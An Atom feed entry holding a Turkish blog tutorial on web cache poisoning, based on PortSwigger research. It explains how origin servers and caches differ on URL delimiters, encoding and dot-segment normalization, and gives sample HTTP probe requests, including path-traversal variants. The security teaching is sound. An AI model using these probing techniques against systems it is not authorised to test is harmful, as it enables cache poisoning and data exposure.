<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://www.linuxdersleri.net/feed.xml" rel="self" type="application/atom+xml" /><link href="https://www.linuxdersleri.net/" rel="alternate" type="text/html" /><updated>2026-09-17T09:52:54+00:00</updated><id>https://www.linuxdersleri.net/feed.xml</id><title type="html">Linux Eğitimi</title><subtitle>GNU/Linux için Türkçe içerik sağlamak üzere kurulmuş bir platformdur.</subtitle><entry><title type="html">Web Cache Poisoning için Kuralları Esnetmek</title><link href="https://www.linuxdersleri.net/web-cache-poisoning-icin-kurallari-esnetmek" rel="alternate" type="text/html" title="Web Cache Poisoning için Kuralları Esnetmek" /><published>2024-08-19T00:00:00+00:00</published><updated>2024-08-19T00:00:00+00:00</updated><id>https://www.linuxdersleri.net/web-cache-poisoning-icin-kurallari-esnetmek</id><content type="html" xml:base="https://www.linuxdersleri.net/web-cache-poisoning-icin-kurallari-esnetmek"><![CDATA[<p>Cache Poisoning saldırıları için mevcut kuralları nasıl esnetebileceğimizi ele almak üzere <a href="https://portswigger.net/research/gotta-cache-em-all" target="_blank">buradaki</a> yazıyı açıklama gayretinde olacağım. Fakat mevcut yazı içerisinde çoğu durumda Türkçe yerine pek çok kavramın İngilizce şekilde kullanıldığını belirtmem gerek. İleri okumalarda ve genel araştırmalarda kavramlar her daim İngilizce olacağı için bu yaklaşımı tercih ediyorum.</p>

<h1 id="url-tutarsızlıkları">URL Tutarsızlıkları</h1>

<p>Cache kurallarını ve hangi endpoint üzerinde işlem yapılıp hangi kaynağa ulaşılmak istenildiği saptayabilmek için kaynak(origin) sunucusunun, yapılan isteğin kesin yolunu(absolute path) hesaplaması gerekiyor. Bunun için URL adresi, delimiter(sınırlayıcı karakter) ve normalizasyon ile ayrıştırılıyor(parsing).</p>

<p>Eğer URL adresini; cache ve uygulama sunucusu farklı şekilde parse ederse, bu tutarsızlık URL’nin anlamını değiştirerek hangi yanıtların tutulduğunu ve bunlara ulaşmak için hangi cache key’lerinin kullanıldığını kontrol etmemizi sağlayabilir.</p>

<h2 id="delimiters">Delimiters</h2>

<p>Popüler olan pek çok framework ve HTTP sunucusu, “sınırlayıcı” karakter yani “delimiter” olarak farklı karakterleri kullanabiliyorlar(URL RFC dokümanları bu konuda serbestlik sunduğu için). Bu durum da, uygulama(kaynak-origin) sunucusu ile önbellekteki ayrıştırıcı arasında path adresi karışıklığına neden olabilir.</p>

<h3 id="origin-delimiters">Origin delimiters</h3>

<p>Uygulama sunucuları ve frameworkler üzerinde kullanılan delimiter karakterlerine örnekler:</p>

<ul>
  <li>
    <p><strong>Noktalı virgül:</strong> Pek çok Java frameworklerinde olduğu gibi Spring üzerinde de noktalı virgül <code class="language-plaintext highlighter-rouge">;</code> karakteri <strong>sınırlayıcı</strong> olarak kabul edilir. URL’de yer aldığında mutlak yolun(absolute path) parçası olarak yorumlanmaz.</p>

    <p><strong>URL:</strong> <span class="mavi">/MyAccount<span class="kirmizi">;</span>var1=val</span> → <strong>Path:</strong> <span class="mavi">/MyAccount</span></p>

    <p><strong>URL:</strong> <span class="mavi">/hello<span class="kirmizi">;var=a</span>/world<span class="kirmizi">;var1=b;var2=c</span></span> → <strong>Path:</strong> <span class="mavi">/hello/world</span></p>
  </li>
</ul>

<hr />

<ul>
  <li>
    <p><strong>Nokta:</strong> Ruby on Rails üzerinde nokta karakteri sınırlayıcı olarak kullanılabiliyor.</p>

    <p><strong>URL:</strong> <span class="mavi">/MyAccount<span class="kirmizi">.html</span></span> → <strong>Path:</strong> <span class="mavi">/MyAccount</span> (default HTML view)</p>

    <p><strong>URL:</strong> <span class="mavi">/MyAccount<span class="kirmizi">.css</span></span> → <strong>Path:</strong> <span class="mavi">/MyAccount</span> (CSS view or error if not present)</p>

    <p><strong>URL:</strong> <span class="mavi">/MyAccount<span class="kirmizi">.aaaa</span></span> → <strong>Path:</strong> <span class="mavi">/MyAccount</span> (default HTML view)</p>
  </li>
</ul>

<hr />

<ul>
  <li>
    <p><strong>Null encoded byte:</strong> OpenLiteSpeed HTTP sunucusu null encoded byte karakterini delimiter olarak kabul edip yol buradan itibaren kısaltıyor.</p>

    <p><strong>URL:</strong> <span class="mavi">/MyAccount<span class="kirmizi">%00aaa</span></span> → <strong>Path:</strong> <span class="mavi">/MyAccount</span></p>
  </li>
</ul>

<hr />

<ul>
  <li>
    <p><strong>Newline encoded byte:</strong> Nginx istek yolunu yeniden yazacak(rewrite the request path) şekilde yapılandırıldığında, kodlanmış yeni satır baytı(encoded newline byte) delimiter olarak kullanılır. Yeniden yazma kuralı, yol adının tamamını değil (Nginx’te yaygın olan) öneki veya URL’yi eşlemelidir.</p>

    <p><strong>Rule:</strong> <span class="mavi">rewrite /user/(.*) /account/$1 break;</span></p>

    <p><strong>URL:</strong> <span class="mavi">/users/MyAccount<span class="kirmizi">%0aaaa</span></span> → <strong>Path:</strong> <span class="mavi">/account/MyAccount</span></p>
  </li>
</ul>

<h3 id="origin-delimiters-keşfi">Origin delimiters keşfi</h3>

<p>Origin yani hedefteki sunucu tarafında sınırlayıcı(delimiter) karakterin hangisi olduğunu keşfetmek için aşağıdaki gibi basit bir yol izlenebilir:</p>

<p><strong>1-</strong> Önbelleğe alınmayan bir istek bulun. Yani <strong>POST</strong> gibi idempotent olmayan bir http metoduna sahip bir istek veya <code class="language-plaintext highlighter-rouge">Cache-Control: no-store</code> veya <code class="language-plaintext highlighter-rouge">Cache-Control: private</code> başlığına sahip bir yanıt bulmanız gerek.  Bu ilk isteğe <strong>R0</strong> yani <strong>Request 0</strong> diyelim. Bu istek sayesinde testler sırasında URL içindeki farklı karakterlerin nasıl ele aldığını anlayabileceğimiz standart bir referans noktamız olacak.</p>

<p class="mavi"><strong>ℹ️ Not:</strong> HTTP idempotent, aynı isteğin birden fazla kez yapılmasının aynı sonucu doğurmasını ifade eder; yani, isteğin tekrarı yan etkiler yaratmadan aynı yanıtı verir. Örneğin <code class="language-plaintext highlighter-rouge">POST</code> <code class="language-plaintext highlighter-rouge">PUT</code> <code class="language-plaintext highlighter-rouge">DELETE</code> http metotları <strong>idempotent değillerdir.</strong></p>

<p><strong>2-</strong> Aynı isteği, dizin adresinin sonuna rastgele karakterler ekleyerek tekrar gönderin. Örneğin test ettiğiniz dizin <strong>/home</strong> ise <strong>/homeasdf</strong> şeklinde olmayan bir adrese istek atın. Eğer bu istek yani R1 isteği, ilk istek(R0) ile aynı ise bu işlemi farklı endpointler üzerinde tekrar tekrar deneyin. Bu durum adres dizininin kontrol edilmediğine işaret ettiği için hangi noktalarda bu durumun geçerli olduğunu keşfedin. Ayrıştırma işleminin nasıl gerçekleştirildiğini anlayabilmemiz için, dizini kontrol eden bir nokta üzerinde testimize devam etmemiz gerek.</p>

<p><strong>3-</strong> R1’deki isteği potansiyel sınırlayıcı(delimiter) olduğunu düşündüğünüz karakterlerle birlikte tekrar gönderin. Yani örneğin <strong>/home</strong> dizinini test edeceğiniz sınırlayıcı karakter <strong>$</strong> işareti ise <strong>/home$abcd</strong> şeklinde rastgele bir istek gönderin. R2 çıktısını R0 ile kıyasladığınızda aynı ise, bu <strong>$</strong> karakterinin delimiter yani sınırlayıcı karakter olarak kullanıldığını teyit edebilirsiniz.</p>

<p>Ayrıca tek seferde birden fazla delimiter karakteri test etmek için burp intruder ya da basit bir script yazıp kullanabilirsiniz. ASCII karakterlerinin de bulunduğu standart ve URL encode edilmiş karakterlerin hepsini test etmeniz gerek. Aşağıdaki wordlist bu konuda yardımcı olabilir:</p>

<p><a href="https://www.linuxdersleri.net/blog/payloads/ascii-delimiter-wordlist.txt" target="_blank">Ascii-delimiter-wordlist.txt</a></p>

<h3 id="cache-delimiter-keşfi">Cache delimiter keşfi</h3>

<p>Önbellek sunucuları sıklıkla <code class="language-plaintext highlighter-rouge">?</code> işareti dışında delimiter karakteri kullanmazlar. Yine de önbellek mekanizması tarafından kabul edilen sınırlayıcı karakteri bulmak için aşağıdaki yaklaşım kullanılabilir:</p>

<p><strong>1-</strong> Yanıt zamanı, veya <code class="language-plaintext highlighter-rouge">X-Cache: hit</code> gibi ipuçlarından yola çıkarak, isteğimizin önbelleğe alındığı bir nokta bulalım. Bu sayede isteğimizin önbellek mekanizması tarafından işlendiğinden kesin olarak emin olabileceğiz. Bu ilk yani R0 isteğine verilen yanıtı, daha sonraki istekleri karşılaştırırken standart referans noktası olarak kullanacağız.</p>

<p><strong>2-</strong> Aynı isteği bu kez aşağıdaki gibi olası delimiter karakteri ve rastgele bir veri ile birlikte tekrar gönderin.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="kd">static</span><span class="o">-</span><span class="nx">endpoint</span><span class="o">&lt;</span><span class="nx text-danger">DELIMITER</span><span class="o">&gt;</span><span class="p">&lt;</span><span class="nc text-success">Random</span><span class="p">&gt;</span>
</code></pre></div></div>

<p>Eğer bu istek ilk istek ile aynı ise, girdiğiniz delimiter karakteri önbellek mekanizması tarafında kullanılıyordur.</p>

<p>Örneğin <code class="language-plaintext highlighter-rouge">$</code>’nin sınırlayıcı olarak kullanıldığı durumda aşağıdaki isteklerin hepsi önbellek mekanizması için aynı kabul edilir.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">anasayfa</span>
<span class="nx">GET</span> <span class="o">/</span><span class="nx">anasayfa<span class="text-danger">$</span><span class="text-success">asdf</span></span>
<span class="nx">GET</span> <span class="o">/</span><span class="nx">anasayfa<span class="text-success"><span class="text-danger">$</span>deneme<span class="text-danger">$</span>metni</span></span>
</code></pre></div></div>

<p>Çünkü sınırlayıcı karakter olan <code class="language-plaintext highlighter-rouge">$</code> karakterinden sonraki değerler sınır dışı kabul edilip yok sayılır:</p>

<p><strong>URL:</strong>  <span class="mavi">/anasayfa</span> → <strong>Path:</strong> <span class="mavi">/anasayfa</span></p>

<p><strong>URL:</strong>  <span class="mavi">/anasayfa<span class="kirmizi">$asdf</span></span>  → <strong>Path:</strong> <span class="mavi">/anasayfa</span></p>

<p><strong>URL:</strong>  <span class="mavi">/anasayfa<span class="kirmizi">$deneme$metni</span></span>  → <strong>Path:</strong> <span class="mavi">/anasayfa</span></p>

<h1 id="normalization">Normalization</h1>

<p>URL ayrıştırma işlemi hem sunucu hem de cache tarafında çeşitli nedenlerle(hedef endpoint tespiti, cache key üretimi veya doğrulanması vb.) uygulanıyor. Öncelikle, pathname yani yol adının başlangıcını ve sonunu bulmak için path delimiters(yol sınırlayıcılar) tanımlanır. Path adresi elde edildikten sonra varsa karakter kodları(URL encode gibi) çözülür(örn: <strong>%61</strong> → <strong>a</strong>) ve noktalar(<code class="language-plaintext highlighter-rouge">../../</code> gibi) kaldırılır. Sonuçta normalleştirme işlemiyle bu girdi normalize edilmiş olur. Şimdi bu normalleştirme adımları üzerinde biraz daha duralım:</p>

<h2 id="encodings">Encodings</h2>

<p>Bazen HTTP ayrıştırıcısı yerine uygulama tarafında ayrıştırma yapılması için delimiter karakterinin korunması gerekir. Bunun için de URL encode edilerek delimiter karakterinin değişmeden uygulama tarafına iletilmesini sağlanır.</p>

<p>Nginx, Node, CloudFlare, CloudFront ve Google Cloud da dahil çoğu HTTP sunucusu ve proxy, path yolunu yorumlamadan önce belirli delimiter karakterlerinin decode edilmesini sağlar. İşin kötüsü bu işlem standart değildir. Bu, herhangi bir özel yapılandırma olmasa bile aynı URL’nin en popüler CDN’lerde ve hedef uygulama sunucularında farklı bir anlama sahip olacağı anlamına gelir.</p>

<p>Çünkü RFC standartı, bir isteğin nasıl iletilmesi veya yeniden yazılması gerektiğini konusunda kesinlik belirtmez. Birçok proxy, URL’i decode eder ve bu decode edilmiş mesajı iletir. Böyle bir durum meydana gelirse, bir sonraki ayrıştırıcı da decode edilen karakterleri sınırlayıcı olarak kullanabilir. Yani örneğin bu durumda aşağıdaki istek proxy tarafından alınırsa <code class="language-plaintext highlighter-rouge">%3F</code> karakteri soru işareti sembolüne dönüştürülecektir.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">"</span><span class="s2">/myAccount<span class="text-danger">%3F</span>param</span><span class="dl">"</span> <span class="err">→</span> <span class="dl">"</span><span class="s2">/myAccount<span class="text-danger">?</span>param</span><span class="dl">"</span>
</code></pre></div></div>

<p>Ayrıca farklı cache proxy servisleri üzerinde “<em>URL encoding</em>” dışında diğer encoding türlerinin desteklendiğini de görebilirsiniz. Örneğin Cloudflare ya da Cloudfrount üzerinde özel dönüşümler için konfigürasyonları düzenlemek mümkündür.</p>

<h2 id="decoding-davranışlarının-tespiti">Decoding Davranışlarının Tespiti</h2>

<p>Girilen verilerin decode işlemine tabi tutulup tutulmadığını test etmek için aşağıdaki gibi standart bir isteğin encode edilmiş versiyonu üzerinden deneme yapabilirsiniz:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="sr"><span class="text-danger">/</span>home<span class="text-danger">/</span>i</span><span class="nx">ndex</span> <span class="err">→</span> <span class="o"><span class="text-danger">/</span>%</span><span class="mi">68</span><span class="o">%</span><span class="mi">6</span><span class="nx">f</span><span class="o">%</span><span class="mi">6</span><span class="nx">d</span><span class="o">%</span><span class="mi">65</span><span class="text-danger"><span class="o">%</span><span class="mi">2</span><span class="nx">f</span></span><span class="o">%</span><span class="mi">69</span><span class="o">%</span><span class="mi">6</span><span class="nx">e</span><span class="o">%</span><span class="mi">64</span><span class="o">%</span><span class="mi">65</span><span class="o">%</span><span class="mi">78</span>
</code></pre></div></div>

<p><strong>Not:</strong> Bazen belirli karakterler decode edilemediğinden(eğik çizgi <code class="language-plaintext highlighter-rouge">/</code> veya diğer özel karakterler gibi) her karakteri ayrı ayrı encode etmek faydalı olabilir.</p>

<p>Eğer önbellek tutmayan bir noktada test gerçekleştiriyorsanız ve aldığınız yanıt encode edilmemiş standart yanıt ile aynı ise, hedef sunucunun bu path adresini kullanmadan önce decode işlemi yaptığı anlamına gelir.</p>

<p>İlk standart istek ve yanıtı:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nf">GET</span> <span class="nn">/<span class="text-danger">egitim</span></span> <span class="k">HTTP</span><span class="o">/</span><span class="m">2</span>
<span class="na">Host</span><span class="p">:</span> <span class="s">linuxdersleri.net</span>

HTTP/2 301 Moved Permanently
Location: https://www.linuxdersleri.net/<span class="text-danger">egitim</span>
Cache-Control: no-store

&lt;html&gt;
&lt;head&gt;&lt;title&gt;301 Moved Permanently&lt;/title&gt;&lt;/head&gt;
&lt;/html&gt;
</code></pre></div></div>

<p>URL encode edilmiş ikinci istek ve yanıtı:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/<span class="text-danger">%65%67%69%74%69%6d</span></span> <span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">linuxdersleri</span><span class="p">.</span><span class="nx">net</span>

<span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span> <span class="mi">301</span> <span class="nx">Moved</span> <span class="nx">Permanently</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">https</span><span class="p">:</span><span class="c1">//www.linuxdersleri.net/<span class="text-danger">egitim</span></span>
<span class="nx">Cache</span><span class="o">-</span><span class="nx">Control</span><span class="p">:</span> <span class="nx">no</span><span class="o">-</span><span class="nx">store</span>

<span class="o">&lt;</span><span class="nx">html</span><span class="o">&gt;</span>
<span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;&lt;</span><span class="nt">title</span><span class="p">&gt;</span>301 Moved Permanently<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="err">/</span><span class="na">html</span><span class="p">&gt;</span>
</code></pre></div></div>

<p>Yukarıdaki iki örnek istek, önbelleğe alınmayan yanıtlar sayesinde sunucunun encode edilmiş verileri işlemeden önce decode ettiğini bize kanıtlamış oldu.</p>

<h3 id="cache-mekanizmasında-test">Cache Mekanizmasında Test</h3>

<p>Eğer önbelleğe alınan bir nokta üzerinde test gerçekleştiriyorsanız, ilk olarak path adresinin cache key olarak kullanılıp kullanılmadığından emin olun. Daha sonra standart path ile istek gönderin. Sonrasında ise bu path adresini encode şekilde tekrar gönderin. Eğer standart path ile encode halindeki path için üretilen yanıtta aynı cache başlıklarını görüyorsanız yani aynı yanıtı alıyorsanız; bu durum ikinci yanıtın cache proxy’den alındığı ve encode haldeki path yolunun cache key kıyaslaması yapılmadan önce decode edildiği anlamına gelir.</p>

<p>Örneğin aşağıdaki isteği iki kez gönderdiğimde <strong>/kurs</strong> adresinin önbelleğe alındığına dair <code class="language-plaintext highlighter-rouge">X-Cache: Hit</code> başlığını yanıtta görebiliyorum.</p>

<p>İlk olarak standart şekilde <strong>/kurs</strong> adresine iki kez istek atılıyor:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx text-primary">kurs</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">linuxdersleri</span><span class="p">.</span><span class="nx">net</span>

<span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span> <span class="mi">301</span> <span class="nx">Moved</span> <span class="nx">Permanently</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">https</span><span class="p">:</span><span class="c1">//www.linuxdersleri.net/<span class="text-primary">kurs</span></span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Served</span><span class="o">-</span><span class="nx">By</span><span class="p">:</span> <span class="nx">cache</span><span class="o">-</span><span class="nx">sof1510025</span><span class="o">-</span><span class="nx">SOF</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Cache</span><span class="p">:</span> <span class="nx text-danger">MISS</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx text-primary">kurs</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">linuxdersleri</span><span class="p">.</span><span class="nx">net</span>

<span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span> <span class="mi">301</span> <span class="nx">Moved</span> <span class="nx">Permanently</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">https</span><span class="p">:</span><span class="c1">//www.linuxdersleri.net/<span class="text-primary">kurs</span></span>
<span class="nx">Via</span><span class="p">:</span> <span class="mf">1.1</span> <span class="nx">varnish</span>
<span class="nx">Age</span><span class="p">:</span> <span class="mi">210</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Served</span><span class="o">-</span><span class="nx">By</span><span class="p">:</span> <span class="nx">cache</span><span class="o">-</span><span class="nx">sof1510025</span><span class="o">-</span><span class="nx">SOF</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Cache</span><span class="p">:</span> <span class="nx text-success">HIT</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Cache</span><span class="o">-</span><span class="nx">Hits</span><span class="p">:</span> <span class="mi">2</span>
</code></pre></div></div>

<p><strong>/kurs</strong> path adresinin önbelleğe alındığını <code class="language-plaintext highlighter-rouge">X-Cache: HIT</code> başlığı sayesinde görmüş olduk.</p>

<p>Şimdi <strong>/kurs</strong> ifadesini URL encode şekilde yani <strong>/%6b%75%72%73</strong> şeklinde tekrar gönderip, cache mekanizmasının tepkisine bakalım.</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/<span class="text-primary">%%6b%75%72%73</span></span> <span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">linuxdersleri</span><span class="p">.</span><span class="nx">net</span>

<span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span> <span class="mi">301</span> <span class="nx">Moved</span> <span class="nx">Permanently</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">https</span><span class="p">:</span><span class="c1">//www.linuxdersleri.net/<span class="text-primary">kurs</span></span>
<span class="nx">Via</span><span class="p">:</span> <span class="mf">1.1</span> <span class="nx">varnish</span>
<span class="nx">Age</span><span class="p">:</span> <span class="mi">177</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Served</span><span class="o">-</span><span class="nx">By</span><span class="p">:</span> <span class="nx">cache</span><span class="o">-</span><span class="nx">sof1510033</span><span class="o">-</span><span class="nx">SOF</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Cache</span><span class="p">:</span> <span class="nx text-success">HIT</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Cache</span><span class="o">-</span><span class="nx">Hits</span><span class="p">:</span> <span class="mi">2</span>
</code></pre></div></div>

<p>Bakın benim test ettiğim noktada, cache mekanizması key kıyaslaması yapmadan önce decode işlemi uyguladığı için <strong>/kurs</strong> ve <strong>/%6b%75%72%73</strong> aynı kabul edilip önbellekten yanıt döndürüldü.</p>

<p>Böylelikle hedef üzerinde, “decode” etme davranışları hakkında görü sahibi olabiliriz.</p>

<h2 id="nokta-normalizasyonu">Nokta Normalizasyonu</h2>

<p>RFC standartı, göreli yol belirtmek gibi durumlar için yani <strong><em>/../home</em></strong> gibi URL adresleri için, URL üzerinde bulunan noktaların nasıl ele alınması gerektiği konusunda bir algoritma çözümü sunmuştur. Fakat bu çözüm aslında birçok güvenlik açığının da kaynağıdır.</p>

<p>Önbellek kurallarının davranışlarını değiştirmek ve isteğimize göre cache key elde etmek için nokta işaretinin ele alınışından kaynaklanan ayrıştırma tutarsızlıklarından yararlanabiliriz. Apache ve Nginx gibi popüler HTTP sunucuları bile URL’leri tamamen farklı şekilde ele alır; bu durum da path confusion açığı olmadan aynı önbellek proxy’sini kullanmanın imkansız olduğu anlamına gelir.</p>

<h3 id="nokta-normalizasyonun-tespiti">Nokta Normalizasyonun Tespiti</h3>

<p>Hem hedef sunucu hem de cache mekanizması üzerinde test etmek için benzer yaklaşım kullanılabilir.</p>

<p>Hedef sunucu üzerindeki normalizasyonu görmek için önbelleğe alınmayan bir nokta üzerinde veya önbelleğe alınıyorsa önbellek bozucu bir parametre ile aynı isteği dizin değiştirme(path traversal) yükü ile gönderin.</p>

<p>Önbelleğe alınmayan standart istek:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">home</span><span class="o">/</span><span class="nx">index</span><span class="p">?</span><span class="nx">cacheBuster</span>
</code></pre></div></div>
<p>Önbelleğe alınmayan, path traversal işareti bulunan istekler:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span><span class="err"> </span><span class="o">/</span><span class="nx">aaa</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="nx">home</span><span class="o">/</span><span class="nx">index</span><span class="p">?</span><span class="nx">cacheBuster</span><span class="err"> </span>
</code></pre></div></div>

<p>ya da</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span><span class="err"> </span><span class="o">/</span><span class="nx">aaa</span><span class="err">\</span><span class="p">..</span><span class="err">\</span><span class="nx">home</span><span class="o">/</span><span class="nx">index</span><span class="p">?</span><span class="nx">cacheBuster</span>
</code></pre></div></div>

<p>Eğer path üzerinde bu nokta işaretleri(<code class="language-plaintext highlighter-rouge">/../</code> ya da <code class="language-plaintext highlighter-rouge">\..\</code>) normalize ediliyorsa buradaki tüm istekler aslında <strong>/home/index?cacheBuster</strong> adresine dönüştürülecektir.</p>

<h3 id="hedef-sunucuda-test">Hedef Sunucuda Test</h3>

<p>Önbellek bulunmayan endpoint’e isteklerimizi atarak, hedef sunucunun nokta(<code class="language-plaintext highlighter-rouge">/../</code> ya da <code class="language-plaintext highlighter-rouge">\..\</code>) karakterlerine normalleştirme uygulama durumunu test edelim:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">test</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">linuxdersleri</span><span class="p">.</span><span class="nx">net</span>

<span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span> <span class="mi">301</span> <span class="nx">Moved</span> <span class="nx">Permanently</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">https</span><span class="p">:</span><span class="c1">//www.linuxdersleri.net/test</span>
<span class="nx">Cache</span><span class="o">-</span><span class="nx">Control</span><span class="p">:</span> <span class="nx">no</span><span class="o">-</span><span class="nx">store</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">deneme</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="nx">test</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">linuxdersleri</span><span class="p">.</span><span class="nx">net</span>

<span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span> <span class="mi">301</span> <span class="nx">Moved</span> <span class="nx">Permanently</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">https</span><span class="p">:</span><span class="c1">//www.linuxdersleri.net/test</span>
<span class="nx">Cache</span><span class="o">-</span><span class="nx">Control</span><span class="p">:</span> <span class="nx">no</span><span class="o">-</span><span class="nx">store</span>
</code></pre></div></div>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">deneme</span><span class="err">\</span><span class="p">..</span><span class="err">\</span><span class="nx">test</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">linuxdersleri</span><span class="p">.</span><span class="nx">net</span>

<span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span> <span class="mi">301</span> <span class="nx">Moved</span> <span class="nx">Permanently</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">https</span><span class="p">:</span><span class="c1">//www.linuxdersleri.net/test</span>
<span class="nx">Cache</span><span class="o">-</span><span class="nx">Control</span><span class="p">:</span> <span class="nx">no</span><span class="o">-</span><span class="nx">store</span>
</code></pre></div></div>

<p>Yanıtlar aynıysa bu, path adresindeki noktaların sunucu tarafında bir kaynakla eşlenmeden önce normalleştirildiği anlamına gelir. Bu normalleştirme, hedef sunucuda veya aradaki bir proxy tarafından istek iletilmeden önce gerçekleşebilir. Her iki durumda da nokta bölümü çözümlenir ve mevcut bir kaynağa referans vermek için kullanılabilir.</p>

<h3 id="cache-mekanizmasında-test-1">Cache Mekanizmasında Test</h3>

<p>Cache mekanizması üzerindeki durumu test etmek için, önbelleğe alındığından emin olduğunuz bir endpoint üzerinede aynı şekilde path traversal karakterler(<code class="language-plaintext highlighter-rouge">/../</code> ya da <code class="language-plaintext highlighter-rouge">\..\</code>) ile aynı kaynaklara ulaşıp ulaşamadığınıza bakarak bu karakterlerin normalize edilip edilmediğini anlayabilirsiniz.</p>

<p>Öncelikle önbelleğe alındığından emin olduğumuz bir endpoint’e istek atalım:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">test</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">linuxdersleri</span><span class="p">.</span><span class="nx">net</span>

<span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span> <span class="mi">301</span> <span class="nx">Moved</span> <span class="nx">Permanently</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">https</span><span class="p">:</span><span class="c1">//www.linuxdersleri.net/test</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Cache</span><span class="p">:</span> <span class="nx">HIT</span>
</code></pre></div></div>

<p>Şimdi path traversal ile aynı noktaya işaret edecek şekilde isteğimizi atalım:</p>

<div class="language-jsx highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nx">GET</span> <span class="o">/</span><span class="nx">deneme</span><span class="o">/</span><span class="p">..</span><span class="o">/</span><span class="nx">test</span> <span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span>
<span class="nx">Host</span><span class="p">:</span> <span class="nx">linuxdersleri</span><span class="p">.</span><span class="nx">net</span>

<span class="nx">HTTP</span><span class="o">/</span><span class="mi">2</span> <span class="mi">301</span> <span class="nx">Moved</span> <span class="nx">Permanently</span>
<span class="nx">Location</span><span class="p">:</span> <span class="nx">https</span><span class="p">:</span><span class="c1">//www.linuxdersleri.net/test</span>
<span class="nx">X</span><span class="o">-</span><span class="nx">Cache</span><span class="p">:</span> <span class="nx">MISS</span>
</code></pre></div></div>

<p>Eğer cache mekanizması almış olduğu <strong>/deneme/../test</strong> path adresini normalize ediyor olsaydı <strong>/test</strong> haline dönüştürüp önceden önbelleğe aldığı yanıtı döndürecekti. Fakat buradaki örnekte cache mekanizması, path traversal karakterlerini normalize etmediğini <code class="language-plaintext highlighter-rouge">X-Cache: MISS</code> başlığı ile göstermiş oldu.</p>

<h2 id="normalizasyon-tutarsızlıkları">Normalizasyon Tutarsızlıkları</h2>

